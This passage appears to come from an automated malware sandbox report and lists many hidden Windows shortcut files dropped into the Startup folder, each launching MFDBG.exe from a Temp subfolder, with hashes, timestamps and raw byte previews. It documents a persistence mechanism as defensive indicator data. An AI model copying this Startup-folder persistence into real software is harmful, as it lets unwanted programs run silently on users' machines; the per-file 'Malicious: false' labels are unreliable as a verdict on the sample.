Preview:	L..................F...."...]W%.{..._...{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_1138e05d6378404899aa2a094fb50bec.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:47 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.931508322531928
Encrypted:	false
SSDEEP:	24:8AhBfl8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8S60R6rMhpBoUBxdRd1nYyg
MD5:	B0B3F1EBE144D689FCB431FA0277D9C9
SHA1:	03A3709457E6C78267695E6BB2A676286853E327
SHA-256:	AE88CDFEA731C5BAD000B7934ADCF98B76E5BBCCB68A94BBDDF248A1A7D42C80
SHA-512:	A6D3935BC979846D3D04E4BE9813B2FBA9C37C64AAE3350C7647B4918F421F8350413CC2467706D61803C8E6EC79CC7AC1C422FD463709EC6A3623BF646FA423
Malicious:	false
Preview:	L..................F...."...]W%.{...:BT.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{... ...{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_11b54e6813c64a22b9af156663e71ded.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:49 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9366314100298965
Encrypted:	false
SSDEEP:	24:8KWhBfDD8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8trQ0R6rMhpBoUBxdRd1nYyg
MD5:	FC2DBC74ADD226A988E5814DF70D13E3
SHA1:	722B1223B57AB8964AB925A670F97A4AC6D5B36F
SHA-256:	8AC29169520992E091FB6CE32DE8A03DE42AD4FA6098DC7504D17D762A553F45
SHA-512:	4638A4D918A05C1264A3E585EBEF2E017FC433243EB53A46DF7F9226D533D011D3A45CD0BA03F78B1D832CE4436A30C3D5B1BAC1B7311E3E492AF5530AA59AD8
Malicious:	false
Preview:	L..................F...."...]W%.{....F..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_12196d4f20a74353bd7f317ebe086486.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:52 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.937930966091807
Encrypted:	false
SSDEEP:	24:8FhBf38iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8VU0R6rMhpBoUBxdRd1nYyg
MD5:	B18198EF62F791837EB141B2202439AA
SHA1:	63558B223FA7C35655FE6CE9FECD689EBD4C7EE1
SHA-256:	86AB6BB86A1B0BBFA8078464706456B3F0C835245B59195B45D7BDAD3D6D01D8
SHA-512:	7830565A6B2C855E45528CADB68C8A68525606DCF57E10F6DB1E18BB945BAD2F4BFACC34CB674C0F5BBF8BDA12E37CDF1698100268676135F1AEBC8612A97211
Malicious:	false
Preview:	L..................F...."...]W%.{....'..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.....Y.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_125bbb01dffe40fb982f2eed9545a247.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:47 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.941847826931496
Encrypted:	false
SSDEEP:	24:8vGhBfF+8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8vMp0R6rMhpBoUBxdRd1nYyg
MD5:	64B79470FEB75686D50EAFEC96973811
SHA1:	D33B6E7CDA04F63D98E63D6A6B9B65292B6D528E
SHA-256:	D0912C40848EF3AF8C7D1681B6700209C281899D3AB0AC795D428991E5598CD4
SHA-512:	B8508EF722BF0648D7CE7D84A5204B250863831FC58E82A3A5C17336B1C8DFE1E796813C400E98AAD68D9D224D6239048BA37F1F1CDDEB92EE248334095880DF
Malicious:	false
Preview:	L..................F...."...]W%.{...q;..\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....(..\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_125f4f249c1346bca76ce0272c94b707.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:47 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9320380795601615
Encrypted:	false
SSDEEP:	24:8XhBfvl8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8L3C0R6rMhpBoUBxdRd1nYyg
MD5:	E1A533D3B6D607AE6CD46C54725EACFA
SHA1:	B95FB4BD49083DC8DD2FFDA03709E154FF3F0C53
SHA-256:	6D0A594F87DBCF5B6C583A07D35818026211558D4CCE04354B48F11C557436F0
SHA-512:	5971D1F6DB58BF340BA7622C71A1BD90357132FBAAD5301ED0849EC31EDF3B1D24C4E3B055FDE55B67DDBBFC577BF7774D98082AEC557B026535B0775ECAD655
Malicious:	false
Preview:	L..................F...."...]W%.{...d...{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...22..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_12e02e05a5794e34bdd3dcd67e1a4f47.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:40 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.934310244057537
Encrypted:	false
SSDEEP:	24:86hBfe8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8wL0R6rMhpBoUBxdRd1nYyg
MD5:	EE489B46A7828E7FB07399C56176FD0A
SHA1:	220BEAFD735FC1AD47AE96C014E0456081107B19
SHA-256:	15CA89B3D4247B8609098F0E51D4AD8A1BC4DA2A30956BAA2200E0EDC0C09709
SHA-512:	A4206CDD619AADF4C11B24CDCA0ED62062E5F09CD40E918922289AE7C1B2A716DA9DB301F86B0E94097913837DA6A72CC1AF5BFFACF3115F49AD95570B845313
Malicious:	false
Preview:	L..................F...."...]W%.{...S/..\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...S/..\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_133d1e2e36d141f5a6c6fd268f239d69.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:44 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.93645073704685
Encrypted:	false
SSDEEP:	24:8dm8hBf2p8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8ZeO0R6rMhpBoUBxdRd1nYyg
MD5:	9E591BEE2E78CAC0CD241058E31B5A16
SHA1:	4C2FB71FAD7BDBE900CECDD00E8F1EE5EF589E24
SHA-256:	B5C2C0C3235A5214BDDA39E69670F8085675E5FFB5E6786BFDBE61178F64835D
SHA-512:	5A7F5B244F267443613815DB74F10FFB9BF5F4A0B6715B59E52E645FE570929C877900759E973F094F855DF2313FAFBB0F020E148606B6DAB4D26E3EC9840518
Malicious:	false
Preview:	L..................F...."...]W%.{....)..\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_13b73e127bdc44a5930c938fa1fc77e1.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:39 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.930845640999325
Encrypted:	false
SSDEEP:	24:8chBfQ8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8ut0R6rMhpBoUBxdRd1nYyg
MD5:	24EBE19653FF2EBDD04D61DB5DEA1071
SHA1:	D2405E24AC3CEA9AF07C8B2C382A4A8981913D8F
SHA-256:	4069A36FDCF161901389CA43F60BD1C25FC819D261C95A59414DC49D0F53EA6C
SHA-512:	662851448B33210C8690B73F39A5B82993A8C891E5FD578DD622D2B783A7165EAA35FC27C11BDE4C7F02C6720C486479357457B1E060697408A059EF12C4837B
Malicious:	false
Preview:	L..................F...."...]W%.{....&..\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....&..\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_13fcdfd8c1d941f5b991395161017b10.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:53 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.942388071911309
Encrypted:	false
SSDEEP:	24:82hBfSr8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8cKI0R6rMhpBoUBxdRd1nYyg
MD5:	C0C8F921B865D0DC77FB0DCE1888FE0C
SHA1:	029501C91FFC1611843E7F127BA9EEDE835B7BD8
SHA-256:	5FE7F04110B51AE456D9FDBC3930C288241CB372190F86B5C794C1F35A603E91
SHA-512:	29714E933A16874F704946BB5858477A9AF98735A5F2D2924BAF0B7F8CC6693DC8C352884CCECC825A4DA1A575BE0708D27BC8FF4840DA4C882C12F8485BE155
Malicious:	false
Preview:	L..................F...."...]W%.{.....Q.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....G).{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_143ec38e28af40e584cada10cac44145.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:01 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.937026755341544
Encrypted:	false
SSDEEP:	24:8ehBfv8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:80s0R6rMhpBoUBxdRd1nYyg
MD5:	3EB68B1FA12FD0CE813C2C7EE6E64312
SHA1:	C7D15852CBD454A8B0E4B60762DE990B1C1B78B7
SHA-256:	D4E9BF5A7AD08897477AA3DF8341A96EFFB2F52A2B875E810751EEB033BDB101
SHA-512:	F6222B782AC30EBE1CCDB08E21D11709CE10F94C464433A01C6E9541E6DAE8DB1FB0ECF10240780B2D464DACF84959A74FC189421F239F3ADB2CBDD1563DE132
Malicious:	false
Preview:	L..................F...."...]W%.{...t}.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...N.e.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_14a790e24c2c4e95947bc03eabd45b5c.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:47 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.936291003353065
Encrypted:	false
SSDEEP:	24:8EhBfO8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8m70R6rMhpBoUBxdRd1nYyg
MD5:	E50A91029E77942DF0BA4A9B47725D6F
SHA1:	E6551ABC088265467B9621D70E06C547B210159F
SHA-256:	BA06F3750B3CEC902CD08DBDA731B23961C05D7C609F060688BB299E97D9665C
SHA-512:	4E0CA2F95E449121CB1BA84C1908839CE434A455229EB463959F7FD1572C013E3C73A9411CFCBE0F765CAC70D32FF6ECD0628082FABCE9D3C1323D48C03D6202
Malicious:	false
Preview:	L..................F...."...]W%.{...X.\.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...<.c.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_154ed92159f44d3894364c250d39d5f5.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:45 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9393619204815495
Encrypted:	false
SSDEEP:	24:822hBfc8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:82ch0R6rMhpBoUBxdRd1nYyg
MD5:	F34BABC338CCE14C7360260BF9BA3F93
SHA1:	E556F5DFD247817933EE854F8649DFAFFB13C712
SHA-256:	C54ADEA2B0AA1C1E3976D7377FCE5FF90ED2771433D53728999DE0DC38B0B403
SHA-512:	2B6CB30C1D74FC35C9A90D20BEFC303F1FFC2679C9450AEB76BE17C7010B8F61CA097A29675356E6220570BC40B2BDE85957EFCE0DE8E42CAA5EA49C1C99C07D
Malicious:	false
Preview:	L..................F...."...]W%.{...g...\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...^...\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_15510b0a07d342b7afff073c96ea5b5e.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:49 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.936254421164452
Encrypted:	false
SSDEEP:	24:8uphBfq8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8qv0R6rMhpBoUBxdRd1nYyg
MD5:	F788358CFE6165AA72C8C80F947B8E14
SHA1:	603334CF1C316F960B79F3BD830B46DBB892A43E
SHA-256:	EA178C80259348AF0B5C3F87C16A814AC66C1838779FE737F5D426A8E65A811A
SHA-512:	4F769224DC95C7CCECBBAA5B6AF107443D02C1083D9C4ACF8CAAD9C9706874C0D6EFB6278DBC51CA9AE8F6B64B8B02E1C8BD0B8A5A33CFACB5D51282FE431059
Malicious:	false
